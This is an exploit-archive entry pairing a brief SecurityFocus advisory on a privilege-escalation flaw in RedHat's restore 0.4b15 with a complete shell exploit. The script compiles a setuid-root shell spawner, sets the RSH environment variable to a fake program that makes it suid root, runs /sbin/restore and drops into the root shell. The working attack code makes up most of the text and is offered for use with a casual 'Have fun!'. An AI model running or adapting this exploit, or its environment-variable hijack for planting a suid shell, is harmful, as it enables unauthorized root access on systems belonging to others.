RedHat 0.4 b15 restore - Insecure Environment Variables

source: https://www.securityfocus.com/bid/1914/info

restore is a program for backup and recovery procedures, distributed with the RedHat Linux Operating System. A vulnerability exists that could allow a user elevated permissions.

The problem occurs in the RSH environment variable. restore is dependent upon this environment variable for execution. It is possible to set this variable PATH to that of an executable, and then execute restore. This will result in the executable in the RSH environment variable being run with an EUID of 0. Exploitation of this vulnerability by a malicious user can result in root compromise.


#!/bin/sh
#
# Exploits a stupid bug in redhat 6.2's (others..) restore program.
# restore version 0.4b15 executes a program which is found in
# a user modifiable environment variable (RSH).
#
# Have fun!
#        - fish
#
# Shoutouts: trey, burke, dono, sinator, jadrax, minuway, lews, hubbs,
#            ralph, jen, madspin, hampton, ego, als, scorch.
#
#          Cause we da pimpz of #code! (not ef/dal.. etc)
#                     (irc > irl ? werd : lame)
#
# WERD to the async, isolated, expedience, mindsong, and analog crews
#
#
# #TelcoNinjas can eat it cause they suck hardc0re
# #TelcoNinjas == #smurfkiddies
#

echo "[spl0it]: Starting."
echo -n "[spl0it]: creating shell spawn... "

echo "#include <stdio.h>"                        > cool.c
echo "int main(void) { "                        >> cool.c
echo "    setuid(0);"                           >> cool.c
echo "    setgid(0);"                           >> cool.c
echo "    execl(\"/bin/sh\", \"-bash\", NULL);" >> cool.c
echo "    return 0;"                            >> cool.c
echo "}"                                        >> cool.c

echo -e "\t\t\tdone"

echo -n "[sploit]: Compiling shell spawn... "
gcc -o cool cool.c
echo -e "\t\t\tdone"


echo -n "[sploit]: Creating fake rsh program... "

cat > execute_me << EOF
#!/bin/sh
chown root: cool
chmod 4777 cool
EOF

chmod +x execute_me
echo -e "\t\t\tdone"


# now executing the dump command
echo "[spl0it]: Beginning exploitation: "
export TAPE=garbage:garbage
export RSH=./execute_me
/sbin/restore -i


# Exec'n the r00t sh3ll!
echo -n "[spl0it]: Waiting 4 seconds for suid shell... "
sleep 4
echo -e "\t\tdone"

if [ ! -u ./cool ]; then
  echo "[spl0it]: Hmm it didn't work.. Better luck next time eh"
  echo "[spl0it]: Check ./cool anyway =)"
  exit 0
fi

echo "[spl0it]: It Worked! suid shell is now ./cool"
echo "[spl0it]: Entering suid shell..."
./cool
exit 0